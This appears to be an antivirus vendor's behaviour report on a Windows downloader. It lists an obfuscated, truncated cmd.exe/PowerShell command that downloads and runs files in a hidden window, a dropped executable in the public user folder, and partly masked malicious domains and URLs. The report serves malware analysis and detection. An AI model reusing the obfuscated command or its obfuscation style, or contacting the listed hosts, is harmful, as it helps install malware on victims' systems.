Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^s^7N^S=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}{^hc^t^ac^};^k^a^er^b^;^sr^z^$^ ^me^t^I-^e^k^ovn^I^;)^sr^z^$^ ^,^f^d^D^$(^e^l^i^F^d^a^oln^w^o^D^.r^T^o^${^yr^t^{)^o^u^p^$^ n^i^ ^f^d...
Modifies file system
Creates the following files
- C:\users\public\259.exe
Deletes the following files
- C:\users\public\259.exe
Network activity
Connects to
- 'co######resyempresas.com':80
- 'co######resyempresas.com':443
- 'de##.#hengcoach.com':80
- 'ma##lia.com':80
- 'tr###2000.net':80
TCP
HTTP GET requests
- http://co######resyempresas.com/x5WHXPfqh
- http://ma##lia.com/0SCWsxxVD
- http://ma##lia.com/cgi-sys/suspendedpage.cgi
- http://tr###2000.net/del/JYpyUCzkC9
Other
- 'co######resyempresas.com':443
UDP
- DNS ASK co######resyempresas.com
- DNS ASK de##.#hengcoach.com
- DNS ASK ma##lia.com
- DNS ASK vo##orn.ru
- DNS ASK tr###2000.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^s^7N^S=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}{^hc^t^ac^};^k^a^er^b^;^sr^z^$^ ^me^t^I-^e^k^ovn^I^;)^sr^z^$^ ^,^f^d^D^$(^e^l^i^F^d^a^oln^w^o^D^.r^T^o^${^yr^t^{)^o^u^p^$^ n^i^ ^f^d...' (with hidden window)
